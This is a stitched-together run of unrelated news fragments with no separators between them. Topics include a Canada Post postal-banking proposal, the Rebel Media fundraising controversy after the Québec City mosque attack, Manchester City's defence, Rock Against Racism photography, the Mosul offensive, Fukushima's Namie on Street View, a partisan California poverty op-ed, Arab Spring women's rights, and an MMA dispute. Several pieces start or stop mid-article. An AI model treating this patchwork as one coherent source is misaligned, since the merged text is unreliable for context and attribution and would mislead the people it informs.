Loans would be offered for renewable energy installations like solar and wind, and for home energy retro-fits, with Canada Post connecting people with specialists to make it happen. Fresh produce would be delivered directly from farms to households, and existing Canada Post door-to-door service would check in on seniors, helping deliver medications.
"What's powerful about Delivering Community Power," says Naomi Klein, "is how it takes on economic, environmental and social issues at the same time. Our post offices can become centres of community care and economic development, while bringing emissions down -- this is the kind of leap we need in Canada."
One of the proposals, postal banking, may be unfamiliar. But countries around the world, like England, New Zealand and Brazil operate banking services through post offices. These "assist rural, remote and low income communities," the document reads, "while providing new revenues for the postal service." Canada Post operated such services until 1968.
The advantage of Canada Post being public is emphasized in the future vision: "unlike the big banks, our postal banks are owned by the people who use them," the document reads.
Job creation is also highlighted. "Renewable manufacturing production. Retrofitting. Farming" lists Donald Lafleur of the Canadian Labour Congress. "Assistance for Elders. When I look at this proposal I see the potential for thousands of good jobs, in every community across the country. Let's make it happen."
To get the inside scoop I caught up with Dru Oja Jay, Director of Friends of Public Services, a partner organization with CUPW and others.
How did this proposal come together?
Postal workers have been advocating for a green postal service and a postal bank for years. On a parallel track, Naomi Klein has been pushing the unions to take a leadership role in greening the economy with a justice-based framework.
Friends of Public Services was having conversations with people working on campaigns in CUPW and conversations with people working on the Leap Manifesto, and at a certain point it made sense to bring it all together. The Leap folks loved the idea of launching a bold proposal about Canada Post for Leap Day, so here we are!
Why are you excited about it, and what comes next?
The climate justice movement and Indigenous resurgence activism like Idle No More are doing a great job of raising consciousness about a lot of different issues, but when you connect those efforts with a union that represents tens of thousands of people who are doing the work to maintain a whole sector of the economy, that work has the possibility of attaining a whole new dimension of transformative power.
I truly believe that if we can align the goals of Indigenous sovereignty, green jobs, and a just economy based on 100 per cent renewables, there's potential to form a coalition that can transform what Canada looks like.
There is a perception some hold that unions are resistant to change and slow to act. What do you say to that in general, and in relation to this proposal in particular?
I don't think it's controversial to say that CUPW has set the tone for public sector workers and how they organize over the last number of decades. What's exciting about that union in particular is that they have a leadership that knows they need to make bold moves, and really change the way people are thinking about things. That kind of necessity, combined with a very active organizational culture, makes them well-positioned to bring about the kinds of seismic shifts in approach and dedication to transformative organizing that I think a lot of people are waiting for.
Ezra Levant denounced for trying to make money off Québec City terrorist attack
Ezra Levant denounced for trying to make money off Québec City terrorist attack
Note to Ezra: the families of the victims deserve support, not you.
In the wake of Sunday’s terrorist attack on a Québec City mosque that left six dead, right-wing demagogue Ezra Levant is facing heavy criticism for spreading false information and using the tragedy in a fundraising appeal for his Rebel Media website.
In a fundraising e-mail to supporters Monday, Levant questions if “the mainstream media” is telling “the truth” about who the terrorist really is.
Never mind that authorities have already charged a Québec-born white nationalist with six counts of first degree murder, Levant – a repeated libelist whom Ontario’s Superior Court found motivated by “ill-will” and a “reckless disregard for the truth” – tells supporters the media is “less concerned” with accurate reporting than they are with “protecting the official narrative – Muslims are victims, not terrorists.”
Without any evidence, Levant also asks if a Muslim congregant mistakenly taken into custody in the chaos of the mosque attack could be an “anti-Muslim murderer?” – “what’s going on here,” Levant asks. “Did a Muslim attack a mosque?”
Levant’s e-mail concludes by soliciting donations to “uncover the truth.”
It turns out “the truth” is that “Mohamed” is a regular congregant of the mosque and was performing first aide on a friend wounded in the attack when he was mistakenly taken into custody by police – he’s since been heralded as a “Canadian hero.”
Authorities in Québec have explicitly stated there was only one gunman: a far-right white nationalist who was “enthralled by a borderline racist nationalist movement” and inspired by the likes of Marine LePen and Donald Trump.
La SQ confirme qu’un seul des individus arrêté hier soir en lien avec l’#attentat de #Québec est considéré comme suspect. — Sûreté du Québec (@sureteduquebec) January 30, 2017
Yet even on Tuesday night – well over 24 hours later – a special fundraising website set-up by Rebel Media to collect donations still falsely claims there were “two armed gunmen” at the mosque.
The website adds that supporters can’t trust the “facts” presented by “the mainstream media” because the media has “already made up their mind about what happened.”
Here’s what Canadian Twitter users thought:
How long before @ezralevant launches a new url + begs for money to help send a reporter to Quebec to expose this as a false flag / hoax. — Alheli Picazo (@a_picazo) January 30, 2017
Rebel media bought a domain to monetize the shooting but using it to spread #FakeNews goes from sloppy journalism to straight up lying pic.twitter.com/jKN9OWb5Ls — Mark Critch (@markcritch) January 30, 2017
Gosh, I was really feeling bad about burying the truth after I read this. Thank goodness for Ezra and Goldy. They rock. pic.twitter.com/Eu6i0O3M3T — Neil Macdonald (@NeilCBC) January 30, 2017
Literally the only video they’ve posted so far is one implying that another mosque may have been responsible: pic.twitter.com/pmH3BEYxRu — Jonathan Goldsbie (@goldsbie) January 30, 2017
If your news source said suspect in #QuebecCityMosqueShooting was refugee, its wrong.If they didn’t correct it, maybe you need a new source. — Ian Hanomansing (@cbcian) January 30, 2017
When will the Rebel take down their story blaming Muslims for an alt-right terrorist attack? Do they have zero conscience? #AbLeg #CdnPoli — Dave Beninger (@DaveBeninger) January 31, 2017
The Rebel has bought the domain https://t.co/9eifPl2jXv in easy competition for the most disgusting response to a mass murder ever. — Beisan Zubi (@beisan) January 30, 2017
Ezra Levant has never met a tragedy that he couldn’t spin & exploit for Rebel Media fundraising. #CONjob https://t.co/3plLr5rO4I — deBeauxOs (@deBeauxOs1) January 31, 2017
Never a bad time to fund raise for your racist fake news site, I guess. #ableg #cdnpoli #QuebecCity pic.twitter.com/Z9QrF5AlHS — Magusiak (@Magusiak) January 30, 2017
No crisis would be complete without a fundraising pitch from Ezra’s “Rebel” #cdnpoli #Quebecshooters — Peter Kelly ?? (@PeterKellyBC) January 30, 2017
A white terrorist kills six Muslims at prayer in their mosque and the Rebel’s first action is a fundraising drive *for the Rebel*. #cdnpoli https://t.co/m8pxDc3mKT — Mark Wells (@realmarkwells) January 31, 2017
Only Ezra could turn this into a money grab. — George Cormack (@geocorm) January 30, 2017
Following the November 2015 Paris attacks that left 137 dead, Buzzfeed Canada found Rebel Media selling topical hats, t-shirts and coffee mugs for $25 a pop.
Levant played down the merchandising opportunity, noting his “store is not a significant source of funds.”
Former Sun News personalities are selling “Fuck ISIS” swag after the Paris attacks: https://t.co/h3D8KbcHMy pic.twitter.com/AIHQ19PFUX — BuzzFeed Canada (@BuzzFeedCanada) November 19, 2015
The Dolphins, according to Salguero, are concerned that the injury could be serious enough to at least cause the running back to miss the team’s Week 3 contest against the Cleveland Browns.
Miami will likely use Jay Ajayi as the starter if Foster is unable to play, but could look to Kenyan Drake, Isaiah Pead, or Damien Williams. Pead and Williams were inactive against the Patriots, but both were active in Week 1 against the Seattle Seahawks and had good performances in the preseason.
As we saw in Sunday's 4-0 defeat by Everton, who scored with every shot they had on target, teams do not need to create many chances to get past City.
That is a criticism of their back four and their goalkeeper, but another reason they have fallen off the pace in the title race is their lack of threat going forward.
It was not difficult for Everton to defend against them at Goodison Park. Yes, City had a penalty shout and a couple of half-chances in the first half but at the moment, if you get back into shape against them and close off the gaps, then it is also easy to keep them out.
Manchester City had 71% of possession against Everton and the red areas of their possession heatmap (right) show how much of the ball they had just outside the Toffees box, without creating a clear-cut chance. Guardiola's side had 13 efforts at goal and five shots on target while Everton mustered a total of six shots at goal and scored with four of them, despite having far less of the ball (left)
City's tempo when they come forward is not always quick enough. They are pretty predictable in attack and, in the Premier League, they are finding it hard to score goals against well-organised defences.
That means more pressure is being heaped on their own back four. Against Everton, they could not cope.
Stones not to blame for City's struggles
Stones, 22, was back at Goodison Park for the first time since his £50m move from Everton to City in the summer
It would be very easy to come out after watching City lose 4-0 and say they were wide open at the back, and John Stones had a nightmare on his return to his old club.
But Stones was probably the best player in City's back four - it is the others who let him down, massively.
If you look at the four goals that City conceded against Everton, Nicolas Otamendi and Gael Clichy both make errors that lead to three of them. Stones was not at fault for any of them.
Media playback is not supported on this device Man City 'not strong enough in the box'
Everton scored their first, second and fourth goals because either Otamendi or Clichy got their basic defensive positioning and decision making wrong.
That is not down to Guardiola's system or the way he sets his team up, it comes down to the mentality of his players, and them being alert and aware of danger - I am talking about things like their reaction time, staying in line with the rest of their back-four and staying with runners from the opposition team.
For example, with Everton's fourth goal, Stones will get criticised because his clearance was charged down and led to Ademola Lookman scoring.
Otamendi could not recover in time to stop Lookman scoring Everton's fourth goal
But Otamendi was on his heels and not even thinking about defending when Stones went over to the left to clear. Yes, the ball dropped nicely for Lookman but Otamendi should have been ready for that.
The fact he wasn't is not down to Stones, but he seems to be getting the blame.
It seems to happen a lot. Stones has got unbelievable ability but he seems to have been carrying the can all season whenever City have conceded goals, no matter what their other defenders do.
That is partly because he is a £50m signing and an England international, and partly because of the way he tries to play as a skilful centre-half - which is the way Guardiola wants him to play.
Goals are going in easily against Bravo
Claudio Bravo could not stop Kevin Mirallas putting Everton 2-0 ahead with an angled shot...
Stones aside, it seems to me there are fundamental problems with City's defence.
Claudio Bravo is one of them - it looks like people are playing City and thinking if they hit the target, they will score.
To win the league title, you need a goalkeeper who will make important saves. Look at all the champions over the last 10 or 20 years and you will find keepers who are worth around nine to 12 points a season to them with the stops they make.
That is not the case with Bravo at City. I saw him play in Spain when I was with Valencia last season and he is a fantastic keeper but the goals are going in very easily against him at the moment.
It is not even as if they are all going into the corners of the net - Bravo is being beaten in the central areas of his goal too.
... or stop Tom Davies putting Everton 3-0 ahead with a dinked finish
He is definitely struggling in English football, with the speed, the intensity and the physicality of our game, and teams are 100% targeting him.
His confidence has taken a hit, which is inevitable, and it obviously does not help when you concede with the first shot you face in a game, which is what happened at Everton.
As a defender, when your keeper is letting in a lot of the shots you face - in Bravo's case, 14 of the last 22 shots on target over City's last eight games - then you lose a bit of confidence in him too.
How does Bravo's shot-save ratio compare to goalkeepers at the other top-six clubs? Keeper (club) Games Saves Saves/game % of shots on target saved Hugo Lloris (Tottenham) 19 37 1.9 74% Petr Cech (Arsenal) 21 57 2.7 71.8% Thibaut Courtois (Chelsea) 21 37 1.8 71.2% David de Gea (Man Utd) 21 46 2.2 69.7% Simon Mignolet (Liverpool) 11 22 2 64.7% Claudio Bravo (Man City) 18 31 1.7 57.4%
The whole back-four are aware that, if you make a mistake, it will end up in a goal. You have no margin for error, and it makes people nervous.
It is the complete opposite to the confidence you feel when you have got a reliable keeper behind you, who you know can make saves that will get you out of trouble.
What next? City will not just roll over
This City team looks like it is a work in progress for Pep, because City are nowhere near where he wants them to be.
I don't think they can win the Premier League this season, but they will still be there or thereabouts in the top four. They are not just going to roll over.
City got badly beaten by Leicester in December and responded with an important win over Arsenal in their next game.
They will have to show a similar spirit, and put in an improved display, when they play Tottenham next weekend.
It is another massive game for them, but they are capable of coming back this time too.
Europe's extreme cold weather this winter has not only caused massive transportation delays, rare snowfall in Tunisia and hundreds of deaths, it also prompted one Swiss man to get creative when his car's heating broke down. Faced with unusual freezing conditions, Pascal Prokop, a resident of Mettmenstetten, a town 25 kilometers south of Zurich, installed a wood-burning stove in his 1990 Volvo 240 station wagon -- complete with a chimney sticking out of the roof of the car.
According to Oddity Central , 38-year-old Prokop removed the front passenger seat before adding a full-size wood stove in its place. To keep the car warm, he adds wood sticks into the fire, while the chimney vents the smoke out (though we wonder how efficient it is and whether Prokop could be better off with a rocket stove ).
In the summer of 1976 music, politics and culture intersected to create a wholly British response to the xenophobia that was threatening to engulf the country. The rhetoric of racism wasn’t tackled with mealy-mouthed rejoinders, nor was violence met with violence. Instead, the weapon of choice was music. And Rock Against Racism was born.
Which, in a way, was rather appropriate. Because, although this was the age of Enoch Powell – who was to remain in Parliament for another eight years — as well as institutionalised racism and violent marches, it was the words of a musician that sparked the creation of Rock Against Racism: Eric Clapton.
On 5 August 1976 Clapton — apparently drunk, certainly angry — took the stage at the Birmingham Odeon and between songs railed against Britain becoming “a black colony”, voiced his support for Powell, who eight years earlier had made his infamous Rivers of Blood speech just down the road, and exhorted his audience to “get the foreigners out” and “keep Britain white”. Clapton later tried to downplay his words, saying they weren’t aimed at any particular minority group but were a response to what he saw as the takeover of London by wealthy Arabs. But the damage was done, and the counter-attack was launched.
The Foster family at home. David Foster (right), was instrumental in establishing the Lewisham 21 Defence Committee to support local youths arrested in dawn raids
A group of artists, writers and musicians, among them photographer Red Saunders and activist Roger Huddle, had already been pondering some kind of cultural response to the rising tide of racism and the grip the far-right National Front were exerting on the nation. The Clapton rant provided them with an inciting incident and they wrote to the New Musical Express , decrying his comments and suggesting the creation of a movement to fight home-grown fascism – Rock Against Racism.
The fledgling organisation was inundated with responses to the letter. Over the next five years they put on gigs, festivals and marches under the slogan Love Music, Hate Racism. Performers who played under the Rock Against Racism banner included Elvis Costello, The Clash, Misty in Roots, Sham 69, The Who’s Pete Townshend and The Specials.
And Syd Shelton was there to document this incredible time with his camera. “I was out of the country when the letter was sent so I wasn’t a signatory to it,” Shelton says. “But as soon as I got back I made contact with Red Saunders. I got involved from there, we got on very well and we’re still friends 40 years later.”
Shelton, born in Pontefract, West Yorkshire, in 1947, was at the time working as a rock photographer and graphic designer, and he found himself devoting more and more time to helping out with RAR. He says, “We had committee meetings in London. Sometimes nobody would come. The next week Misty in Roots and Aswad would call in. We made it work because of the nature of the people involved. We had that rebel aspect to us, I suppose.”
While he worked with the committee organising events, Shelton also began to document with his camera the gigs held to raise money and awareness for the cause. “From 1976 to 1977 was the formative period of RAR,” he says. “There were a lot of small gigs in pubs. Then Lewisham happened, and that was a pivotal event.”
Self-portrait of the photographer, Charing Cross Road, London, 1978
He’s referring to what has become known in popular culture as “The Battle of Lewisham”, when 5,000 National Front supporters marched across the south-east London borough in August 1977. Several anti-fascist organisations organised counter-demonstrations and marches, and there were bloody and violent clashes.
The Lewisham pot had been simmering for some months before that, though. Shelton says: “It’s an area that had the largest concentration of immigrant people in London. The authorities had organised a campaign against muggings, but the sub-text was that it was black people who were responsible. It was a drip-drip-drip of propaganda. As a result the police raided 30 homes in Lewisham and arrested 21 young people and locked them up.”
Shelton took a photograph of one young man, Christopher Foster, who was just 16 when he was arrested. His father, David Foster, was instrumental in the establishment of the Lewisham 21 Defence Committee to support those arrested. The headquarters of the campaign was the front room of the Foster family home.
Two months later the Battle of Lewisham occurred. Shelton says, “It was a very significant day, and after that we realised we were dealing with institutional racism from the police and the authorities as well as organised racism from the National Front. Even if people weren’t members or supporters of the NF, there was a lot of casual racism around at that time. The Black and White Minstrel Show was on TV. It was only the decade before that there were notices in windows of guest-houses, ‘No dogs, no blacks, no Irish’.”
That photograph of young Christopher Foster, flanked by his determined-looking father and his mother, eyes downcast, is now included in an exhibition of Shelton’s work covering the Rock Against Racism years, which is running at the Impressions Gallery in Bradford, West Yorkshire, until the beginning of September.
His photographs cover the music’s attack on racism: Tony James of Generation X playing bass guitar with Sham 69 at Central London Poly, a gig infiltrated by a racist gang; Jimmy Percy of Sham 69 talking to a carnival crowd after the band had been forced to pull out of playing due to death threats; Joe Strummer of The Clash at a benefit gig in Southall.
Civil liberties activist Darcus Howe addresses the 'Anti-Anti Mugging March' from the roof of a public toilet
One shot shows Jeff Walwyn, aka Skully Roots, riding a huge speaker like a bucking bronco at the Leeds Rock Against Racism club. This was set up by Paul Furness, who one day had the NME letter about Eric Clapton shoved under his nose, and decided he wanted to set up club nights for northern anti-racist supporters. Furness says: “We ran for about 18 months during 1978 and 1979. It was the perfect timing for Rock Against Racism, really – we had punk bands and reggae sound systems, it was highly political.”
The Leeds club put on gigs by local bands including The Mekons and Gang of Four, and played host to Stiff Little Fingers and the only RAR gig to be played by Joy Division. “We had a huge following and there were people at those gigs who we had no idea who they were but went on to be famous… Marc Almond and Damien Hirst, for example,” Furness says. “Syd Shelton came up to take some photos and that’s where I first met him.”
Furness has donated some memorabilia from the Leeds RAR club which is also on display alongside the photographs. All shot in monochrome, Shelton’s pictures illustrate the binary nature of racism; black and white, them and us, light and shade. And it was never meant as a special project; taking pictures was just what Shelton did.
“It took the distance of time to make me realise there was a narrative here, something I never saw at the time, ” he says. “ I was too close to it, I think.” It’s not so well represented here, but in the show many of the photographs are just of kids who were around the scene on Shelton’s RAR odyssey, “and that was intentional. I wanted to put a face to the racism people were suffering, show the humanity.”
And Shelton is no impartial recorder of history. “I reject the notion that the photographer is an impassive observer,” he says. “You construct the argument of what you want to say through the language of photography, through the shots you take and the angles you choose.”
Back in the aftermath of the Battle of Lewisham, Rock Against Racism wanted to make a bigger point than ever before. “We wanted to do something much more special than just gigs in pubs,” says Shelton. “We wanted to do an anti-racist Woodstock.” That took place in Victoria Park in Hackney, in the spring of 1978 after Shelton and the committee (along with the Anti-Nazi League) begged, borrowed and blagged a stage and PA equipment and used their contacts in the music industry to get bands such as The Clash, X-Ray Spex and Tom Robinson.
Tom Robinson at Carnival 1, Victoria Park, East London
He remembers: “We told everyone to meet in Trafalgar Square, and people said to us, ‘you’re mad, that’s seven miles from Victoria Park. Nobody’s going to walk that far’.” He pauses, then says with some satisfaction: “We got 100,000 people. We had seven flatbed trucks with bands on the back, led by Misty in Roots. It was a seven-mile party all the way to Hackney.”
Rock Against Racism was wound down in 1981, in a way a victim of its own success. Things were changing, sometimes quickly, sometimes slowly. Shelton says: “Back in the mid-1970s there were something like two black footballers in the whole of the football league. Look at the England team that was at the Euros this summer. When we started punk was just taking off and there was a lot of reggae about, and we saw an affinity between the two. Then ska and Two-Tone picked up the baton, and we had bands such as Madness and The Specials, who were multicultural bands and they were pushing through to the mainstream, taking the message to everyone.”
Not that Shelton by any means thinks that the battle is close to being won, especially with the rise in xenophobic hate speech and assaults in the wake of the EU referendum. “It’s a constant fight,” he says. “We always see scapegoating in our society; it’s just that the targets shift. We see some media outlets having a go at migrants on a daily basis and once again we have that drip-drip-drip of propaganda.”
Bagga (Bevin Fagan), lead singer of British reggae band Matumbi, with the son of Dennis Bovel, founder of the band
Syd Shelton’s photographs form a document of a world that seems so long ago, yet is also horribly familiar thanks to recent events. He says: “I think back in 1976 we would all have hoped that things would be a bit better 40 years on.”
He’s approaching 70 now and lives in Hooe, East Sussex, and though he’s no longer in the thick of the volatile and dangerous world of clashing communities, he refuses to stop being angry. “Nobody’s born racist; it’s something you have to learn. That’s a very tough thing to fight against constantly, but it’s something we have to do.” He tells me as we speak he’s looking out not on urban warfare but fields and cows. So have Syd Shelton and his camera retired from activism? He considers this. “Despite the view,” he says, “I think I’m still a rebel.”
Enlarge this image toggle caption Yaser Jawad/Xinhua /Landov Yaser Jawad/Xinhua /Landov
Looking to take back a city that has high strategic and symbolic value, the Iraqi military will launch an offensive against fighters from the self-proclaimed Islamic State in the coming months, a senior U.S. military official says.
NPR's Tom Bowman reports:
"A U.S. Central Command official told reporters at the Pentagon that the military operation to retake Mosul, Iraq's second-largest city, will be in the April-May timeframe, and this operation will involve an estimated 20,000-25,000 Iraqi soldiers. "And they say that in the city of Mosul, they estimate there are anywhere between 1,000 and 2,000 fighters for the Islamic State. "They did say Mosul won't be easy — because Islamic State fighters have been dug in in that city since last June, when they took it over."
Asked why the timetable for an assault on a fierce enemy would be publicized months before the operation's scheduled start time, Tom tells NPR's Morning Edition that the topic came up during Thursday's briefing.
"This might be psychological operations," he says. "You try to unsettle your enemy, and also give civilians time to leave the area."
U.S.: Major Offensive Planned Against ISIS In Mosul This Spring Listen · 4:23 4:23
NPR's Ari Shapiro, who visited the northern front line between Kurdish territory and Mosul this week, says Kurdish fighters are ready to help throw the Islamic State out of Mosul. All they're waiting for, they say, is for Iraqi forces to isolate the city from the south.
But the head of Kurdistan's security council tells Ari, "I wish I could tell you the Iraqi army is ready for that, but it's not."
The battle plan includes a main force of five Iraqi brigades and three Kurdish brigades, the U.S. official told reporters Thursday. And Tom says the U.S. military has "pretty much cherry-picked" the Iraqi force for the operation. He adds that the Iraqis would be backed by U.S. air power.
While the U.S. military also expects to provide logistical, tactical and surveillance support, it hasn't yet been decided whether American military advisers might join the ground force to coordinate air strikes.
The U.S. official said that the spring offensive would be timed to come before Ramadan and the heat of summer, saying "it becomes problematic if it goes much later than that," according to military news outlet Stars and Stripes.
Updated
Internet giant Google has launched a virtual tour through the nuclear ghost towns near Japan's crippled Fukushima nuclear plant.
Visitors to Google's online mapping site can now take a tour through the deserted streets of Namie, one of the towns abandoned after the Fukushima meltdowns spewed radioactive fallout across a large area.
The site reveals streets overgrown with weeds, and time appears to have stood still since Namie's entire population of 21,000 people was evacuated two years ago.
Half of the town on the Pacific coast sits within the 20-kilometre evacuation zone around the nuclear plant, which was crippled by Japan's 2011 earthquake and tsunami.
The tsunami knocked out the plants cooling systems and three reactors melted down as a result.
Writing for Google, the town's mayor Tamotsu Baba said he hoped the images of Namie would show future generations the disaster.
"I hope these street views will show the people of future generations what the great earthquake and nuclear disaster brought," he said.
"We need many years and many people's cooperation to rise again from the nuclear crisis.
"We will never give up on getting back our hometown."
The natural disasters killed nearly 19,000 people, including those whose bodies are yet to be recovered.
Some parts of the town were swamped by the waves of March 11 and houses and other buildings damaged by the water can be clearly seen. But many buildings remain intact.
The nuclear catastrophe is the worst the world has seen since the 1986 disaster at Chernobyl.
No-one is officially recorded as having died as a direct result of the radiation, but scientists warn some areas may remain contaminated for decades, while those most heavily polluted could be uninhabitable forever.
ABC/AFP
Topics: science-and-technology, computers-and-technology, internet-technology, disasters-and-accidents, nuclear-accident, geography, environmental-impact, japan
They’ve led the nation in welcoming illegal immigrants, sanctuary cities, the minimum wage, welfare programs, and stupid Hollywood celebrities who just need to shut their friggin’ pieholes.
Despite all that (especially the leftist brain trust in Tinseltown), the state also leads the nation in poverty.
And not just because it’s the largest state by population, but by percentage.
More than one in five Californians now live in poverty, new data released by the Census Bureau indicates.
At 20.4 percent, that poverty rate is higher than in any other state (only Washington DC has a higher rate at 21 percent). The national poverty rate stands at 14.7 percent.
Amazingly, The Orange County Register reports, while the state with the largest economy in the country has 12 percent of the national population, they account for a full one-third of all families in the nation receiving money from the Clinton-era “Temporary Assistance for Needy Families,” which sucks almost $20 billion from the federal budget.
Why are so many Californians in poverty? There are many reasons. One of the first is the high cost of housing.
According to a draft report on the housing crisis by the California Department of Housing and Community Development, “production averaged less than 80,000 new homes annually over the last 10 years, and ongoing production continues to fall far below the projected need of 180,000 additional homes annually.” As a result, homeownership rates are at the lowest they’ve been since the 1940s, as increasing proportions of renters find themselves rent-burdened. According to the California Budget & Policy Center, more than half of renter households pay more than 30 percent of their incomes for housing, and one-third pay more than half of their incomes for housing.
So while only 12 percent of the population, 22 percent of the country’s homeless are in California.
But there are other factors, as the OC Register points out: They have some of the highest tax rates in the country and some of the least business-friendly policies as well.
In a recent WalletHub report on overall tax burdens, California ranked 10th-worst in the country. Meanwhile, the Tax Foundation ranked California 48th in its 2017 State Business Tax Climate Index due to California’s distinction of having some of the highest income, sales and corporate tax rates in the nation.
California is consistently ranked as one of the worst states to do business in. For the last 13 years, in fact, the state has ranked dead last for “perceived business friendliness.”
Taken together, California’s barriers to business will, in turn, harm the poor the most. If California wants to seriously address its high levels of poverty and factors aggravating it, like high housing costs, it must relinquish its commitment to excessive taxation and regulation.
Democrats who control California will not learn a thing from this lesson. They will continue to drive their state further into the ditch by sucking taxpayers dry, alienating the business community and imposing burdensome and idiotic regulations on its people.
What do you think? Is California on the way to becoming a third-world country? Sound off below!
toggle caption STR/AP
At the Muslim Brotherhood's headquarters in Egypt's port city of Alexandria, 23-year-old May Kamel found herself arguing with one of the group's senior members.
Kamel, a journalist, had traveled to the Muslim Brotherhood's office to ask about their upcoming political campaign. But she found herself arguing as a woman concerned for her rights.
"You need to explain to the people what you are doing. You need to explain to women what your party wants from them," she told Sobhi Saleh, a senior member of the Muslim Brotherhood.
Saleh, who is currently part of a group working on constitutional reform, said he had a strong position on women's rights.
The good thing is that both men and women took part. But there were groups ... who started to shout 'Your place was in the kitchen. You don't have to ask for more rights.'
He described a "new Egypt" — one in which Kamel would be expected to dress in conservative clothing and pray regularly. He described morality police that would "assist people" who had gone astray or had not yet "seen the truth."
Kamel was clearly not content with his speech. She plucked at her thin, low-cut T-shirt with fingernails that she had painted jet-black. Like many women across the Arab world, Kamel had hoped that the region's dramatic political changes, which had brought a revolution to Egypt, would address issues important to her and millions of other women.
Initial Optimism Dashed
Images of women marching alongside men in countries like Egypt, Tunisia, Bahrain and Jordan led to predictions that women's rights would also make huge strides forward.
She had been optimistic initially, when she celebrated President Hosni Mubarak's resignation in February. She had spent days sitting in Cairo's Tahrir Square alongside thousands of others. She said she found the sight of men and women protesting together an inspiration.
"I think the youth that were in Tahrir ... people my age or people that were demonstrators or whatever, were OK with the concept of men and women having equal rights," said Kamel.
"In the months that followed, the feminist honeymoon was lost," she said.
In the six months since Mubarak was ousted, the only woman who has joined Egypt's transitional government is a holdover from the old regime. Women are running in the upcoming presidential election, though none is expected to be a serious contender. Most telling, said Kamel, was that the women who took part in the protests in Tahrir have been increasingly painted as vagrant or "loose" women in the Egyptian press.
Enlarge this image toggle caption Sheera Frenkel/NPR Sheera Frenkel/NPR
"They went from being heroes to being vilified," said Kamel. A few months after the Tahrir Square protests, women hoped to assert their newly found voices in a demonstration on International Women's Day, March 8.
Though more than 1,000 people joined a Facebook group for the event, only a few hundred ended up marching. They were quickly surrounded and harassed by men led by a sheik from Al Azhar University.
"People just gathered, each woman was standing there — she had like five men around her, and she was trying to argue. It got physically abusive after a while. The protests didn't last for even an hour," said Kamel.
Tunisian Women Try To Preserve Rights
Women across the Arab world were watching, including Tunisian blogger Lina Ben Mhenni. The 27-year-old, who blogs under the moniker "A Tunisian girl," said she was saddened but not shocked at the women's day protest in Egypt.
Ben Mhenni took part in the protests in Tunis that brought an end to the 23-year reign of Tunisian President Ben Ali on Jan. 14. Sitting in a sidewalk cafe just a few steps from where those protests took place, Ben Mhenni recalled the mood during the demonstrations.
"The good thing is that both men and women took part," she said. "But there were groups who started to shout, 'Your place was in the kitchen,' 'You don't have to ask for more rights,' and 'When women have rights they abuse them.' "
The insults were particularly scathing, she said, because women in Tunisia have long enjoyed more freedom than elsewhere in the region: Tunisia is one of the few countries where polygamy is banned, marriage is based on consent, and abortion is legal.
Many of the new parties that have emerged in Ben Ali's wake have presented Islamic platforms. Recently, a poll conducted by the Sigma Group predicted that Islamist parties were poised to win 30 percent of the vote in upcoming Tunisian elections.
Ben Mhenni says those parties have made themselves popular by calling for women to be banned from the workplace. They say this would solve Tunisia's staggering unemployment among men.
"Before Jan. 14, we were asking for normal rights. Now we are trying to preserve the rights we already have," said Ben Mhenni.
Wives Of Leaders Blamed For Corruption
In addition, several of the Islamist groups in Tunisia have published popular cartoons in which wealthy, Westernized women are linked to crooked, opulent lifestyles. Leila Trabelsi, the wife of Ben Ali, is their case in point.
"She symbolizes the evil, spoiled, corrupt woman," said Ben Mhenni.
During the protests, Trabelsi's image was burned in effigy, as protesters heard allegations of millions in jewels and cash she had taken from the state coffers.
Ben Mhenni called it the Marie Antoinette effect, in which the corruption and opulence of the Ben Ali regime was blamed on his wife's bad influence.
Enlarge this image toggle caption Cyril Folliot/AFP/Getty Images Cyril Folliot/AFP/Getty Images
"She let her family steal money and oppress people. When you look from outside, it appears her family stole more than his family did," Ben Mhenni. "We always hear about the Trabelsis doing evil, but we scarcely here about Ben Ali's family doing evil."
Similarly, in Egypt protesters pointed fingers at presidential wife Suzanne Mubarak's lavish lifestyle. And in the Hashemite Kingdom of Jordan, protests took off after a letter from the eastern tribes targeted Queen Rania as an example of Western extravagance.
The protests called on Jordan's King Abdullah to chastise his wife, whom they accused of stealing money to fund her lifestyle. The letter also suggested that the queen was trying to influence him on state affairs.
The attacks on the queen were widely supported in the industrial town of Zarqa, just north of Jordan's capital, Amman. Zarqa's conservative majority has become well-known in Jordan as a bastion for Islamist groups.
Hama and Muhammad Saleh, two cousins who run a stall in the dusty flea market on the outskirts of Zarqa, said Jordanians wanted a more conservative society.
"Women need to know their place in Islam, and it the man's duty to make sure they observe it," said Hama Saleh. He said that Queen Rania had made herself unpopular by promoting herself too quickly. She was a bad example for women in Jordan, he said, because she held herself as an example of a modern Western woman who "left her hair uncovered and wore short-sleeve cashmere shirts."
In Jordan's capital, Amman, journalist Lelia Hammerney has been focused on following the effects of the Arab Spring on women in Jordan and across the region.
Hammerney has a long history in women's movements and in promoting feminists in the Arab world. She claimed that women were ready to claim greater rights, but were unsure of what they would face in the rapidly changing region.
"Young women are ready. And we are going to continue the fight. The whole idea is that there will be new types of difficulties," she said, mentioning the upcoming elections in the region where Islamic parties are expected to make gains.
But Hammerney said she also sees reason for optimism.
In Tunisia, political parties in the elections must have equal numbers of men and women on their party lists. Women have started a protest for driving rights in Saudi Arabia. And two Palestinian women have become the first female judges in Islamic courts.
"It's going to be difficult from now on, but the whole idea is that we are going to fight back, capitalizing on all our experiences. We are going to build new alliances among women," said Hammerney. She added that she was hopeful, "in the long run."
As she left her office, Hammerney stepped over a newspaper with photos of the ongoing protests in Syria. An image of a young woman flashing a victory sign at Syrian soldiers was on the cover, under the word "courage."
Sonnen claimed jiu-jitsu champion Mackenzie Dern turned down an offer to meet Tate at the FloGrappling.com-streamed event, accusing her of being “scared” to face the UFC vet on Dec. 11 at Roseland Theater in Portland, Ore.
“Mackenzie Dern is supposedly a world champion in jiu-jitsu,” the Bellator light heavyweight and grappling promoter complained to MMAjunkie Radio. “Miesha Tate accepted on the spot, coming in to McKenzie’s world, (and Mackenzie is) trying to break into MMA. So it’s the opportunity of a lifetime, because she is now going to get to go against the queen of MMA who just was the world champion a minute ago – in her realm, which is jiu-jitsu.
“Miesha accepts to come into her world, Mackenzie turns the match down. This is insane. This is insane that you were scared to compete in (the sport) which you were allegedly the champion of the world.”
Dern’s manager denied turning down Tate specifically. He said the decision not to accept the match was based on a previous choice to focus on her MMA training for the remainder of the year rather than compete again.
“She wasn’t competing in December regardless,” Daniel Rubenstein told MMAjunkie. “She also turned down a fight that didn’t make sense to us. She was planning to fight for Legacy (FC) in December, and then take the rest of December off. She was focused on fighting, and when the fight did not materialize, she basically said she’s going to continue to train and get better for MMA.”
